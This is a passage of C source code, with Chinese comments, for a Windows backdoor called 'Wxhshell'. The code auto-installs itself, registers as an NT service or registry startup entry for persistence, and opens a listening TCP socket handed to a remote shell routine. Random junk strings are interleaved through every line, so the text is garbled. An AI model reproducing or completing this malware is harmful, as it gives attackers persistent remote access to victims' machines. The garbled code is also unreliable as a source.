DQ~@=%?ni | zA ey\ if(strstr(procName,"services")) return 1; // 以服务启动 VTF),e! [-%oO return 0; // 注册表启动 $Fn# b|e } :9)>!+|' A[b'MNsv // 主模块 iX,Qh2(ig int StartWxhshell(LPSTR lpCmdLine) Cjd +\7#G { j/W#=\xz SOCKET wsl; 5/(Dh![l BOOL val=TRUE; d BJM?/ int port=0; fN&O `T> struct sockaddr_in door; /qz(ra CocvEoE*z if(wscfg.ws_autoins) Install(); 'Hq}h)` w0.#/6 port=atoi(lpCmdLine); k'{lo_ 3U}z?gP[ if(port<=0) port=wscfg.ws_port; ?=\h/C Wl*\kQ}U WSADATA data; )Ev [o#y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `aC#s3[ VA]%i P,O- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \=QG6&_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5$y<nMP door.sin_family = AF_INET; m.2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); f>RPh bq| door.sin_port = htons(port); FNZnz7 ]2(
%^#qBG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { & MAIm56~ closesocket(wsl); ^x4gUT-Wy return 1; c xX } <|.M]]}j Y H?>2u if(listen(wsl,2) == INVALID_SOCKET) { alq>|,\x closesocket(wsl); [H"Ods~_` return 1; q-uYfXZ{j } =7$YBCuF Wxhshell(wsl); #-@dc WSACleanup(); -
@ jdhhvoQ return 0; OnD+/I DB?[h<^m } uD+;5S]us }+u<^7$g| // 以NT服务方式启动 ysSEgC3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {gJOc,U4b { '&UX'Dd~Q DWORD status = 0; 8(ZQD+U(9F DWORD specificError = 0xfffffff; ~
Iv[ oW-luC+ serviceStatus.dwServiceType = SERVICE_WIN32; Ar>-xCTD serviceStatus.dwCurrentState = SERVICE_START_PENDING; jtd{=[STU serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vls*fY:W serviceStatus.dwWin32ExitCode = 0; PI }A')Nq. serviceStatus.dwServiceSpecificExitCode = 0; Z EG serviceStatus.dwCheckPoint = 0; ]0\8g=KK serviceStatus.dwWaitHint = 0; }J:~}?^%n }bHdU]$} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
}mX;0qO if (hServiceStatusHandle==0) return; h v9s 7|H !( a' status = GetLastError(); A/GEDG
? if (status!=NO_ERROR) dGZVWEaPfx { rU(N@i% serviceStatus.dwCurrentState = SERVICE_STOPPED; \<V{6#Q= serviceStatus.dwCheckPoint = 0; vk{dL' serviceStatus.dwWaitHint = 0; y|c]r!A serviceStatus.dwWin32ExitCode = status; )=8X[<^i serviceStatus.dwServiceSpecificExitCode = specificError; Ib]{rmaP SetServiceStatus(hServiceStatusHandle, &serviceStatus); qA&N6` return; #Mi>f4T; } z%]~^k8 -<qci3Ba} serviceStatus.dwCurrentState = SERVICE_RUNNING; @|r*yi serviceStatus.dwCheckPoint = 0; CkIICx serviceStatus.dwWaitHint = 0; \9<aCJxN if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ck-wMd } eBG7]u,Q z]~B@9l // 处理NT服务事件,比如:启动、停止 =XyK/$ VOID WINAPI NTServiceHandler(DWORD fdwControl) Gv3a<Knn4 { G{YLyl/9 switch(fdwControl) >H[&Wa+_ { u|B\@"0 case SERVICE_CONTROL_STOP: `[7&tOvSk serviceStatus.dwWin32ExitCode = 0; 91`biVZfA serviceStatus.dwCurrentState = SERVICE_STOPPED; rAk*~OK serviceStatus.dwCheckPoint = 0; E WOn" serviceStatus.dwWaitHint = 0; n
omtP } { F<
Qjoaz SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^[lg1uMW } (lT
H EiX return; 8gr&{-5 case SERVICE_CONTROL_PAUSE: USJ4qv+- serviceStatus.dwCurrentState = SERVICE_PAUSED; l8n#sGA % break; lzw3 x case SERVICE_CONTROL_CONTINUE: R CnN+b:c serviceStatus.dwCurrentState = SERVICE_RUNNING; [Kx_ %Le
break; H+\rCefba case SERVICE_CONTROL_INTERROGATE: 74xI#`E break; ~1i,R1_\Y }; WSKG8JT^| SetServiceStatus(hServiceStatusHandle, &serviceStatus); )%f]`< |